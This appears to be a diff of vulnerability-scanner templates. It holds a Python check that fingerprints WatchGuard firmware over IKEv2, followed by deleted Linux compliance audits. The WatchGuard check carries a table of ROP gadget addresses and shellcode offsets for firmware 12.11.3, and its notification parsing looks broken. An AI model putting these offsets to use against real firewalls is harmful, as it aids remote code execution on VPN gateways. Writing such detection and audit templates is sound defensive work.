tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import socket
import struct
import random
import enum
import hashlib
import hmac
import logging
import base64
import binascii
import re
import sys
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# Configure logging
logging.basicConfig(level=logging.INFO, format='%(message)s')
FW_VERSION = None
BUILD_NUMBER = None
class WatchGuardFw:
ADDRESSES = {
'12.11.3': {
'pop_rcx_ret': 0x4225ab,
'mov_rax_rcx_ret': 0x5a4fac,
'mov_rbp_rsp_call_rax': 0x42008d,
'pop_r13_ret': 0x594ac4,
'mov_rax_rbp_pop_rbx_pop_rbp_ret': 0x598d69,
'sub_rax_rcx_ret': 0x5a4fd8,
'push_rax_mov_rax_rbx_pop_rbx_ret': 0x5a4468,
'mov_rdi_rbx_call_rax': 0x42fce4,
'pop_rsi_ret': 0x508ece,
'pop_rdx_ret': 0x483a4a,
'mov_rax_rax_ret': 0x5b145e,
'jmp_rax': 0x41908f,
'jmp_rbx': 0x449ba3,
'offset_data': 0x00,
'offset_shellcode': 0x30,
'offset_stack': 0x340,
'offset_stack_page_aligned': 0x0cc8,
'offset_bind_mprotect': 0x5ea0,
'got_bind': 0x658028,
},
}
@staticmethod
def version_tuple(v):
return tuple(map(int, (v.split("."))))
class PayloadType(enum.IntEnum):
NONE = 0
TRANSFORM = 3
SECURITY_ASSOCIATION = 33
KEY_EXCHANGE = 34
IDENTIFIER_INITIATOR = 35
IDENTIFIER_RESPONDER = 36
CERTIFICATE = 37
CERTIFICATE_REQUEST = 38
AUTHENTICATION = 39
NONCE = 40
NOTIFY = 41
DELETE = 42
VENDOR_ID = 43
TRAFFIC_SELECTOR_INITIATOR = 44
TRAFFIC_SELECTOR_RESPONDER = 45
ENCRYPTED = 46
CONFIGURATION = 47
EXTENSIBLE_AUTHENTICATION = 48
class ExchangeType(enum.IntEnum):
IKE_SA_INIT = 34
IKE_AUTH = 35
CREATE_CHILD_SA = 36
INFORMATIONAL = 37
class TransformType(enum.IntEnum):
ENCRYPTION_ALGORITHM = 1
PSEUDO_RANDOM_FUNCTION = 2
INTEGRITY_ALGORITHM = 3
DIFFIE_HELLMAN_GROUP = 4
class NotifyType(enum.IntEnum):
UNSUPPORTED_CRITICAL_PAYLOAD = 1
INVALID_IKE_SPI = 4
INVALID_MAJOR_VERSION = 5
INVALID_SYNTAX = 7
INVALID_MESSAGE_ID = 9
INVALID_SPI = 11
NO_PROPOSAL_CHOSEN = 14
INVALID_KE_PAYLOAD = 17
AUTHENTICATION_FAILED = 24
SINGLE_PAIR_REQUIRED = 34
NO_ADDITIONAL_SAS = 35
INTERNAL_ADDRESS_FAILURE = 36
FAILED_CP_REQUIRED = 37
TS_UNACCEPTABLE = 38
INVALID_SELECTORS = 39
INITIAL_CONTACT = 16384
SET_WINDOW_SIZE = 16385
ADDITIONAL_TS_POSSIBLE = 16386
IPCOMP_SUPPORTED = 16387
NAT_DETECTION_SOURCE_IP = 16388
NAT_DETECTION_DESTINATION_IP = 16389
COOKIE = 16390
USE_TRANSPORT_MODE = 16391
HTTP_CERT_LOOKUP_SUPPORTED = 16392
REKEY_SA = 16393
ESP_TFC_PADDING_NOT_SUPPORTED = 16394
NON_FIRST_FRAGMENTS_ALSO = 16395
MOBIKE_SUPPORTED = 16396
MULTIPLE_AUTH_SUPPORTED = 16404
REDIRECT_SUPPORTED = 16406
IKEV2_FRAGMENTATION_SUPPORTED = 16430
SIGNATURE_HASH_ALGORITHMS = 16431
class EncryptionAlgorithm(enum.IntEnum):
ENCR_DES_IV64 = 1
ENCR_DES = 2
ENCR_3DES = 3
ENCR_RC5 = 4
ENCR_IDEA = 5
ENCR_CAST = 6
ENCR_BLOWFISH = 7
ENCR_3IDEA = 8
ENCR_DES_IV32 = 9
RESERVED = 10
ENCR_NULL = 11
ENCR_AES_CBC = 12
ENCR_AES_CTR = 13
ENCR_AES_CCM_8 = 14
ENCR_AES_CCM_12 = 15
ENCR_AES_CCM_16 = 16
ENCR_AES_GCM_8 = 18
ENCR_AES_GCM_12 = 19
ENCR_AES_GCM_16 = 20
ENCR_NULL_AUTH_AES_GMAC = 21
P1619_XTS_AES = 22
ENCR_CAMELLIA_CBC = 23
ENCR_CAMELLIA_CTR = 24
ENCR_CAMELLIA_CCM_8 = 25
ENCR_CAMELLIA_CCM_12 = 26
ENCR_CAMELLIA_CCM_16 = 27
ENCR_CHACHA20_POLY1305 = 28
ENCR_AES_CCM_8_IIV = 29
ENCR_AES_GCM_16_IIV = 30
ENCR_CHACHA20_POLY1305_IIV = 31
ENCR_KUZNYECHIK_MGM_KTREE = 32
ENCR_MAGMA_MGM_KTREE = 33
ENCR_KUZNYECHIK_MGM_MAC_KTREE = 34
ENCR_MAGMA_MGM_MAC_KTREE = 35
class PseudoRandomFunction(enum.IntEnum):
PRF_HMAC_MD5 = 1
PRF_HMAC_SHA1 = 2
PRF_HMAC_TIGER = 3
PRF_AES128_XCBC = 4
PRF_HMAC_SHA2_256 = 5
PRF_HMAC_SHA2_384 = 6
PRF_HMAC_SHA2_512 = 7
PRF_AES128_CMAC = 8
PRF_HMAC_STREEBOG_512 = 9
class IntegrityAlgorithm(enum.IntEnum):
AUTH_HMAC_MD5_96 = 1
AUTH_HMAC_SHA1_96 = 2
AUTH_DES_MAC = 3
AUTH_KPDK_MD5 = 4
AUTH_AES_XCBC_96 = 5
AUTH_HMAC_MD5_128 = 6
AUTH_HMAC_SHA1_160 = 7
AUTH_AES_CMAC_96 = 8
AUTH_AES_128_GMAC = 9
AUTH_AES_192_GMAC = 10
AUTH_AES_256_GMAC = 11
AUTH_HMAC_SHA2_256_128 = 12
AUTH_HMAC_SHA2_384_192 = 13
AUTH_HMAC_SHA2_512_256 = 14
class DiffieHellmanGroup(enum.IntEnum):
DH_GROUP_2048_BIT_MODP = 14
DH_GROUP_768_BIT_MODP = 1
DH_GROUP_1024_BIT_MODP = 2
DH_GROUP_1536_BIT_MODP = 5
DH_GROUP_3072_BIT_MODP = 15
DH_GROUP_4096_BIT_MODP = 16
DH_GROUP_6144_BIT_MODP = 17
DH_GROUP_8192_BIT_MODP = 18
RANDOM_ECP_GROUP_256_BIT = 19
RANDOM_ECP_GROUP_384_BIT = 20
RANDOM_ECP_GROUP_521_BIT = 21
DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP = 22
DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP = 23
DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP = 24
RANDOM_ECP_GROUP_192_BIT = 25
RANDOM_ECP_GROUP_224_BIT = 26
BRAINPOOLP224R1 = 27
BRAINPOOLP256R1 = 28
BRAINPOOLP384R1 = 29
BRAINPOOLP512R1 = 30
CURVE25519 = 31
CURVE448 = 32
GOST3410_2012_256 = 33
GOST3410_2012_512 = 34
ML_KEM_512 = 35
ML_KEM_768 = 36
ML_KEM_1024 = 37
class IkePacker:
@staticmethod
def header(initiator_spi, responder_spi, next_payload, exchange_type, message_id, version=0x20, flags = 0x08):
return struct.pack('>QQBBBBII', initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, 0)
@staticmethod
def payload_header(next_payload, payload, critical = 0):
return struct.pack('>BBH', next_payload, critical, 4 + len(payload)) + payload
@staticmethod
def security_association(next_payload, proposal):
return IkePacker.payload_header(next_payload, proposal)
@staticmethod
def proposal(next_payload, number, id, transforms = [], spi = b''):
b_transforms = b''
for transform in transforms:
if isinstance(transform, IkeTransform):
b_transforms += transform.pack()
continue
b_transforms += transform
return IkePacker.payload_header(next_payload, struct.pack('>BBBB', number, id, len(spi), len(transforms)) + spi + b_transforms)
@staticmethod
def key_exchange(next_payload, dh_group, data, reserved = 0):
return IkePacker.payload_header(next_payload, struct.pack('>HH', dh_group, reserved) + data)
@staticmethod
def nonce(next_payload, nonce):
return IkePacker.payload_header(next_payload, nonce)
@staticmethod
def notify(next_payload, notify_type, data = b'', protocol_id = 1, spi_size = 0):
return IkePacker.payload_header(next_payload, struct.pack('>BBH', protocol_id, spi_size, notify_type) + data)
@staticmethod
def vendor_id(next_payload, vendor_id):
return IkePacker.payload_header(next_payload, vendor_id)
class IkeTransform:
def __init__(self, next_payload, transform_type, transform_id, transform_attributes=None, reserved=0):
self.next_payload = next_payload
self.transform_type = transform_type
self.reserved = reserved
self.transform_id = transform_id
self.transform_attributes = transform_attributes
def pack(self):
transform = struct.pack('>BBH', self.transform_type, self.reserved, self.transform_id)
if self.transform_attributes:
transform += struct.pack('>I', self.transform_attributes)
return IkePacker.payload_header(self.next_payload, transform)
class IkeResponse:
def __init__(self, initiator_spi, responder_spi, version, exchange_type, flags, message_id, length, payloads):
self.initiator_spi = initiator_spi
self.responder_spi = responder_spi
self.version = version
self.exchange_type = exchange_type
self.flags = flags
self.message_id = message_id
self.length = length
self.payloads = payloads
def get(self, type):
payloads = []
for payload in self.payloads:
if payload['type'] == type:
payloads.append(payload['payload'])
return payloads
class IkeUnpacker:
@staticmethod
def unpack_payload_header(data):
return struct.unpack('>BBH', data[:4])
@staticmethod
def unpack(response):
initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, length = struct.unpack('>QQBBBBII', response[:28])
raw_payloads = response[28:]
i = 0
payload_type = next_payload
payloads = []
while i < len(raw_payloads):
next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(raw_payloads[i:i+4])
payload = raw_payloads[i+4:i+payload_length]
if payload_type == PayloadType.VENDOR_ID:
payload = payload
payloads.append({
'type': payload_type,
'critical': critical,
'payload': payload
})
i += payload_length
payload_type = next_payload
return IkeResponse(
initiator_spi,
responder_spi,
version,
exchange_type,
flags,
message_id,
length,
payloads
)
class IkeCrypto:
def __init__(self):
self.initiator_nonce = self.generate_nonce(32)
self.initiator_spi = random.randint(0, 0xffffffffffffffff)
self.responder_spi = 0x0000000000000000
self.client_private_key = None
self.client_public_key = None
self.client_public_key_bytes = None
self.generate_keys = self.dh_modp_14_generate_keys
self.generate_keys()
def generate_nonce(self, length=32):
return random.getrandbits(length * 8).to_bytes(length, 'big')
def dh_modp_14_generate_keys(self):
p_hex = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF'
self.p = int(p_hex, 16)
if self.p.bit_length() != 2048:
self.p = self.p >> (self.p.bit_length() - 2048)
g = 2
self.client_private_key = random.randint(1, self.p - 1)
self.client_public_key = pow(g, self.client_private_key, self.p)
public_key_bit_length = self.client_public_key.bit_length()
public_key_byte_length = (public_key_bit_length + 7) // 8
if public_key_byte_length > 256:
raise ValueError(f"Public key too large: {public_key_byte_length} bytes (max 256)")
self.client_public_key_bytes = self.client_public_key.to_bytes(public_key_byte_length, 'big').rjust(256, b'\x00')
class IkeException(Exception):
pass
class IkeNoProposalChosenException(IkeException):
pass
class IkeInvalidKEPayloadException(IkeException):
pass
class Ike:
def __init__(self, ip, port, timeout = 5):
self.ip = ip
self.port = port
self.timeout = timeout
self.crypto = None
self.sock = None
self.reset()
@staticmethod
def update_request_length(request):
total_length = len(request)
return request[:24] + struct.pack('>I', total_length) + request[28:]
def reset(self):
if self.sock != None:
self.close()
self.crypto = IkeCrypto()
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.settimeout(self.timeout)
def send(self, packet):
self.sock.sendto(packet, (self.ip, self.port))
response, addr = self.sock.recvfrom(65535)
return IkeUnpacker.unpack(response)
def close(self):
self.sock.close()
self.sock = None
def sa_init(self):
global FW_VERSION, BUILD_NUMBER
dh_group = DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value
key_exchange = self.crypto.client_public_key_bytes
transforms = [
IkeTransform(PayloadType.TRANSFORM, TransformType.ENCRYPTION_ALGORITHM, EncryptionAlgorithm.ENCR_AES_CBC.value, 0x800e0100),
IkeTransform(PayloadType.TRANSFORM, TransformType.PSEUDO_RANDOM_FUNCTION, PseudoRandomFunction.PRF_HMAC_SHA2_256.value),
IkeTransform(PayloadType.TRANSFORM, TransformType.INTEGRITY_ALGORITHM, IntegrityAlgorithm.AUTH_HMAC_SHA2_256_128.value),
IkeTransform(PayloadType.NONE, TransformType.DIFFIE_HELLMAN_GROUP, DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value),
]
r = self.send(Ike.update_request_length(
IkePacker.header(self.crypto.initiator_spi, self.crypto.responder_spi, PayloadType.SECURITY_ASSOCIATION, ExchangeType.IKE_SA_INIT, 0) +
IkePacker.security_association(PayloadType.KEY_EXCHANGE, IkePacker.proposal(PayloadType.NONE, 1, 1, transforms)) +
IkePacker.key_exchange(PayloadType.NONCE, dh_group, key_exchange) +
IkePacker.nonce(PayloadType.NOTIFY, self.crypto.initiator_nonce) +
IkePacker.notify(PayloadType.NOTIFY, NotifyType.NAT_DETECTION_DESTINATION_IP, bytes.fromhex('a6358d813592fdd80a9aaa3390f39c8a5a76b6e4')) +
IkePacker.notify(PayloadType.VENDOR_ID, NotifyType.NAT_DETECTION_SOURCE_IP, bytes.fromhex('4cc324152ba3f68ef649ac1e6f96f33791611db2')) +
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c590254e5403cbb71f3d493111d7fcad')) +
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c61baca1f1a60cc10800000000000000')) +
IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3c0000000')) +
IkePacker.vendor_id(PayloadType.NOTIFY, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3')) +
IkePacker.notify(PayloadType.NOTIFY, NotifyType.IKEV2_FRAGMENTATION_SUPPORTED, protocol_id = 0) +
IkePacker.notify(PayloadType.NOTIFY, NotifyType.REDIRECT_SUPPORTED, protocol_id = 0) +
IkePacker.notify(PayloadType.NONE, NotifyType.SIGNATURE_HASH_ALGORITHMS, bytes.fromhex('0001000200030004'), protocol_id = 0)
))
if FW_VERSION == None:
vendors = r.get(PayloadType.VENDOR_ID)
for vendor in vendors:
if len(vendor) > 32 and vendor[:8].hex() == 'bfc22e9856ba9936':
try:
watchguard_data = base64.b64decode(vendor[32:].decode('ascii')).decode()
match = re.search(r"VN=([0-9\.]+) BN=([0-9]+)", watchguard_data)
if match:
FW_VERSION = match.group(1)
BUILD_NUMBER = match.group(2)
if WatchGuardFw.version_tuple(FW_VERSION) < WatchGuardFw.version_tuple("12.11.4"):
return True, FW_VERSION, BUILD_NUMBER
else:
return False, FW_VERSION, BUILD_NUMBER
except (UnicodeDecodeError, binascii.Error):
continue
notifications = r.get(PayloadType.NOTIFY)
for notification in notifications:
if notification.message_type == NotifyType.NO_PROPOSAL_CHOSEN:
raise IkeNoProposalChosenException()
if notification.message_type == NotifyType.INVALID_KE_PAYLOAD:
raise IkeInvalidKEPayloadException()
return None, None, None
def test_connection(ip, port, timeout=20):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
sock.connect((ip, port))
sock.close()
return True
except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((ip, port))
sock.close()
return result == 0
except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
return False
def check_watchguard_version(ip, port=500, timeout=10, connection_timeout=20):
global FW_VERSION, BUILD_NUMBER
FW_VERSION = None
BUILD_NUMBER = None
if not test_connection(ip, port, connection_timeout):
return False, None, None
ike = Ike(ip, port, timeout)
try:
is_vulnerable, fw_version, build_number = ike.sa_init()
return is_vulnerable, fw_version, build_number
except TimeoutError:
logging.error(f"[-] {ip}:{port} - IKEv2 timeout")
return False, None, None
except IkeNoProposalChosenException:
logging.warning(f"[!] {ip}:{port} - IKEv2 service found but no proposal chosen")
return False, None, None
except IkeInvalidKEPayloadException:
logging.warning(f"[!] {ip}:{port} - IKEv2 service found but invalid KE payload")
return False, None, None
except Exception as e:
logging.error(f"[-] {ip}:{port} - Error: {e}")
return False, None, None
finally:
ike.close()
def main():
host = os.getenv("Host")
port = os.getenv("Port")
# Set default port to 500 if Port environment variable is not set
if port is None or port == "":
port = "500"
try:
is_vulnerable, fw_version, build_number = check_watchguard_version(host, int(port))
if is_vulnerable is True:
print(f"Vulnerable to Version {fw_version} (Build {build_number})")
elif is_vulnerable is False:
print(f"NOT VULN to Version {fw_version} (Build {build_number})")
except Exception as e:
logging.error(f"[-] {host}:{port or 500} - Error: {e}")
logging.info(f"[?] {host}:{port or 500} - ERROR")
logging.info(f" Status: Error occurred during check")
if __name__ == "__main__":
main()
matchers:
- type: word
words:
- "Vulnerable"
extractors:
- type: dsl
dsl:
- response
# digest: 4b0a00483046022100c233c6c94743a7d3b12ad897deafc5b3d6b991238260e216746f4b85a8f3757802210094bfa8e92a0793f96f7816e8c93847bebb126dc3a846724a931af80b109f6f2d:922c64590222798bb761d5b6d8e72950
-45
View File
@@ -1,45 +0,0 @@
id: autofs-service
info:
name: Ensure autofs Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
remediation: |
- Ensure the `autofs` package is not installed unless explicitly required.
- To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
- To remove the package, run: sudo apt-get purge -y autofs
- To clean up dependencies, run: sudo apt-get autoremove -y
- To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s autofs &>/dev/null; then
echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
else
echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100beae631943cebc47c019a26e3e75c3564f7fa4fe70eb0de578f3fce62a6d00aa022100aa285d67fd177fa37e5274957926becc643b3aeec8e446f8dab8ccc4c704597b:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: avahi-daemon
info:
name: Ensure Avahi Daemon Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
remediation: |
- Ensure the `avahi-daemon` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove avahi-daemon -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s avahi-daemon &>/dev/null; then
echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
else
echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502203ff7e050b9bdb5b5fb471fb8a5b0af788c76666c2ff5a8c03f54236319f62275022100c547a08d5e0daa645f49e890a0b5e539b305aade4c704a67982c17528825a3c8:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: dhcp-server
info:
name: Ensure DHCP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
remediation: |
- Ensure the isc-dhcp-server package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove isc-dhcp-server -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s isc-dhcp-server &>/dev/null; then
echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
else
echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100e0295197c3dcb64ab0634b8089f939fb2a5b2af806979a375d674edb894b98e3022100d11947e58b029bf89610149ae753d86184d599fbb164f504eb9ee2e914033f73:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: dns-server
info:
name: Ensure DNS Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
remediation: |
- Ensure the `bind9` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove bind9 -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s bind9 &>/dev/null; then
echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
else
echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022079762241d32803af268579ee2dbc0f109db253b5709ae57a79216a73d7c16fd10221009978493f411a9e4b7a4a019d640a19e03c4cf7380d39000f10276f9367c3674d:922c64590222798bb761d5b6d8e72950
@@ -1,26 +0,0 @@
id: dns-zone-transfer-any
info:
name: DNS Zone Transfer Allowed to Any Host
author: songyaeji
severity: high
description: |
DNS Zone Transfer configured with "allow-transfer { any; };" allowed unrestricted zone transfers.This exposed sensitive details like hostnames, network structure, and system data that attackers could use for reconnaissance and further attacks.
reference:
- https://isms.kisa.or.kr
tags: linux,local,kisa,audit,compliance
self-contained: true
code:
- engine:
- bash
source: |
grep -E 'allow-transfer' /etc/named.conf 2>/dev/null || echo "no-allow-transfer"
matchers:
- type: regex
part: code_1_response
regex:
- 'allow-transfer\s*\{\s*any;\s*\}'
# digest: 490a00463044022037476af6ea98c17d43d75d3cb57874705aeba154fd8e7ef8859748eafab0ebf702200a0d472b83fe677c4c703d4b82307a6c8b65f57418c549a3ad46b6cc13547206:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: dnsmasq-service
info:
name: Ensure dnsmasq Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
remediation: |
- Ensure the `dnsmasq` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove dnsmasq -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s dnsmasq &>/dev/null; then
echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
else
echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502210096d5ee4d88f2bcf276e1d30f7d440f27c00ed4a5afca848de514d11a3d2d7fc80220742d89f57a4da6922d14a351db1f31477f7fb513d0627d35d7b0fcdb28f69e5b:922c64590222798bb761d5b6d8e72950
@@ -1,27 +0,0 @@
id: etc-services-permission-check
info:
name: /etc/services Permission Check
author: songyaeji
severity: high
description: |
The /etc/services file was not owned by root or had excessive permissions,allowing attackers to alter port assignments to redirect services or open unauthorized ports.
reference:
- https://isms.kisa.or.kr
tags: linux,code,audit,compliance,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
stat -c "%U %G %a" /etc/services 2>/dev/null || echo "not-found"
matchers:
- type: regex
part: response
regex:
- '^root\s+root\s+(600|640|644)$'
# digest: 490a0046304402206191a33140f6b945e840ee4d9ffc8ab2021e2fb4da77355e420c2ae192895e160220129ec14176286e2173c8832a4de3c139824553af5b3b2b0f641be80a15384865:922c64590222798bb761d5b6d8e72950
@@ -1,40 +0,0 @@
id: finger-service-enabled
info:
name: Linux Finger Should Be Disabled
author: songyaeji
severity: high
description: |
The Finger service was enabled on the system and exposed user account details to unauthorized users, which could have been used in password-based attacks or user enumeration.It was checked in both xinetd and systemd environments.
reference:
- https://isms.kisa.or.kr
tags: linux,local,code,audit,compliance,kisas
self-contained: true
code:
- engine:
- sh
- bash
source: |
if [ -f /etc/xinetd.d/finger ]; then
disable_status=$(grep -i 'disable' /etc/xinetd.d/finger | grep -v '^#' | awk -F '=' '{print $2}' | xargs)
if [ "$disable_status" = "no" ]; then
echo "[VULNERABLE] Finger service is enabled via xinetd (disable = no)"
elif [ -z "$disable_status" ]; then
echo "[UNKNOWN] Finger service config found but no disable directive"
else
echo "[SAFE] Finger service is disabled in xinetd"
fi
elif systemctl is-active --quiet finger 2>/dev/null; then
echo "[VULNERABLE] Finger service is active under systemd"
else
echo "[SAFE] Finger service not found"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100fd961710afcaa51c59ad26cd14dac20be07b92c68df9117ecfd3378b7a38a947022100824452bade1c3d45e18321b7ab0e61b3bd6cad55e57ae2180a8c5df4618d7ea5:922c64590222798bb761d5b6d8e72950
-44
View File
@@ -1,44 +0,0 @@
id: ftp-client
info:
name: Ensure FTP Client is Not Installed
author: Th3l0newolf
severity: info
description: |
FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
remediation: |
- Ensure FTP client packages are not installed unless explicitly required.
- To remove them, run: sudo apt-get remove ftp tnftp -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,ftp
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if ftp or tnftp packages are installed
if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
else
echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a004830460221009931d0824469b0f912ad65271a547776751ee25732f5edeb3dd030970429e5c20221009aa1b4785a01f1ea0ff8c06364a0875b2e56255115f6e001ca5e8c1e38f51faf:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: ftp-server
info:
name: Ensure FTP Server Service is Not Installed
author: Th3l0newolf
severity: info
description: |
The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
remediation: |
- Ensure the `vsftpd` package is not installed unless explicitly required.
- To remove the package, run: sudo apt-get remove vsftpd -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s vsftpd &>/dev/null; then
echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
else
echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4b0a00483046022100c7ff63a06f5cf7394699255c1d518450d6d10317334a8f9081e4ac9dddaee5cf022100ab8764795bc72e40aceaedce98a29e587514c46693d1d06ab62a619416179bed:922c64590222798bb761d5b6d8e72950
-40
View File
@@ -1,40 +0,0 @@
id: home-env-permission
info:
name: User Home Directory and Shell Environment File Ownership & Permission
author: songyaeji
severity: medium
description: |
Shell startup and environment files (e.g., .bashrc, .bash_profile, .bash_logout) were not owned by the user or root and had insecure write permissions.Malicious users could manipulate environment variables or inject commands.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,compliance,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
for user in $(awk -F: '$6 ~ /^\/home/ {print $1}' /etc/passwd); do
HOME_DIR=$(eval echo ~$user)
find "$HOME_DIR" -maxdepth 1 -type f \
\( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
done
matchers:
- type: regex
name: insecure-perms
part: response
regex:
- "^-.{5}w" # group writable
